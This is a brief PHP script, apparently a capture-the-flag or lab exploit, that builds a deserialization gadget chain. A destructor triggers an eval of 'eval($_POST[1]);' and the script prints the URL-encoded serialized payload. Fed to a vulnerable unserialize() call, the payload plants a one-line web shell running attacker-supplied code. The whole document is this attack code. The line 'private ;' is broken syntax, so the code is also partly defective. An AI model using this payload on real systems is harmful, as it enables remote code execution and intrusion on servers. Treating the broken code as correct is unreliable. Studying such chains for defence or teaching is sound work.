class One {
    private ;
    function __construct() {
        $this->test = new Good();
    }
    function __destruct() {
        $this->test->action();
    }
}

class Good {
    var $test2 = 'eval($_POST[1]);';
    function action() {
        eval($this->test2);
    }
}
echo urlencode(serialize(new One()));